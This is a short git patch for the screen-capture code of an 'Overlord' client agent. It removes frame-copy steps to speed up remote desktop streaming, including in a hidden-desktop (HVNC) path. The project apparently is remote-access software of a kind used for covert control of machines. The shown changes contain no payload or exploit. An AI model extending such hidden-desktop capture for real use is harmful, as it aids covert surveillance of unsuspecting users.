From 345426091ec32b33f4442230f61b08b7cc0a3d06 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Fri, 22 May 2026 22:55:41 -0500 Subject: [PATCH] fix remote desktop being slow --- Overlord-Client/cmd/agent/capture/capture.go | 6 ------ Overlord-Client/cmd/agent/capture/win_duplication.go | 3 +-- 2 files changed, 1 insertion(+), 8 deletions(-) diff --git a/Overlord-Client/cmd/agent/capture/capture.go b/Overlord-Client/cmd/agent/capture/capture.go index 5d2ec96..570973f 100644 --- a/Overlord-Client/cmd/agent/capture/capture.go +++ b/Overlord-Client/cmd/agent/capture/capture.go @@ -612,9 +612,6 @@ func buildFrame(img *image.RGBA, display int, quality int) (wire.Frame, time.Dur } h264Bytes, err := encodeH264Frame(img) if err == nil && len(h264Bytes) > 0 { - prevMu.Lock() - copyPrev(img) - prevMu.Unlock() lastKeyframe.Store(now.UnixNano()) statFullFrames.Add(1) return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "h264"}, Data: h264Bytes}, time.Since(encStart), nil @@ -720,9 +717,6 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time } h264Bytes, err := encodeH264FrameHVNC(img) if err == nil && len(h264Bytes) > 0 { - hvncPrevMu.Lock() - copyPrevHVNC(img) - hvncPrevMu.Unlock() hvncLastKeyframe.Store(now.UnixNano()) statFullFrames.Add(1) frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "h264", HVNC: true}, Data: h264Bytes} diff --git a/Overlord-Client/cmd/agent/capture/win_duplication.go b/Overlord-Client/cmd/agent/capture/win_duplication.go index 8b98f6a..ebe5419 100644 --- a/Overlord-Client/cmd/agent/capture/win_duplication.go +++ b/Overlord-Client/cmd/agent/capture/win_duplication.go @@ -710,7 +710,6 @@ func (s *duplicationState) capture(display int) (*image.RGBA, error) { if img == s.lastBase || img == s.cursorScratch { img = cloneRGBA(img) } - s.lastFrame = cloneRGBA(img) s.lastFrameAt = time.Now() return img, nil } @@ -808,7 +807,7 @@ func (s *duplicationState) capture(display int) (*image.RGBA, error) { // the next compose doesn't write into a buffer the caller has pooled. img = cloneRGBA(img) } - s.lastFrame = cloneRGBA(img) + s.lastFrame = nil s.lastFrameAt = time.Now() return img, nil